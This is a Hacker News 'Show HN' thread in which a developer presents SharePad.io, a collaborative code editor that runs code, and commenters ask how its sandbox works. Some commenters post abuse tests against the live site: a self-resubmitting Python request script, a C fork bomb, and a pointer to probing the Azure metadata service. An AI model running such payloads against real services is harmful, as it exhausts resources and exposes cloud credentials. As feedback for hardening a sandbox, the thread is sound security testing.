Show HN: SharePad.io – A collaborative code editor and compiler
sharepad.io
sharepad.io
This is my first web dev side project and it's in early stage. As an interviewer in the tech industry, I often find myself cannot spot that subtle bug in candidates' code during phone screening, so I build this website which lets me do collaborative editing and also run the code. You may find it useful too.
Please help try it out and provide some feedback. No registration is required (because I have yet to implement the user system).
Does it run Python locally in the browser or in the cloud?
I built a similar service as a personal project and I am interested how to properly handle situations like that.
Any plans to make it open source?
import urllib.request
import json
import threading
def do_request():
data = {"lang":"python", "code": open(__file__).read(), "stdin": ""}
req = urllib.request.Request(
"https://www.sharepad.io/run",
data=json.dumps(data).encode('utf-8'),
headers={
'Content-Type': 'application/json'
}
)
f = urllib.request.urlopen(req)
print(f.read().decode('utf-8'))
x = threading.Thread(target=do_request)
x.start()
do_request()
x.join()#include <stdio.h> int main() { while(1){ fork(); } return 1; }
#include <stdio.h> int main() { while(1){ } return 1; }
The second snippet times out properly, but the first does not.
The first snippet is a fork bomb and will cause the container to run out of memory before the timeout. It does terminate since I have set a 256M memory limit. However, it is not sending the correct response in this case and the message in the output tab is not updated properly.
Fork works just fine, https://sharepad.io/p/aBn5Oxu
Are you using websockets to broadcast realtime updates to the clients, as one types, or do you have some other way to achieve that?
I am aware of coderpad.io, I think it is used mainly for remote interview targeting the enterprise market, not sure, will check it out further.
You will want to /dev/null the IMDS (https://docs.microsoft.com/en-us/azure/virtual-machines/linu... ); your setup didn't appear immediately exploitable, but I am also not an experienced Azure escape artist: https://sharepad.io/p/whno49w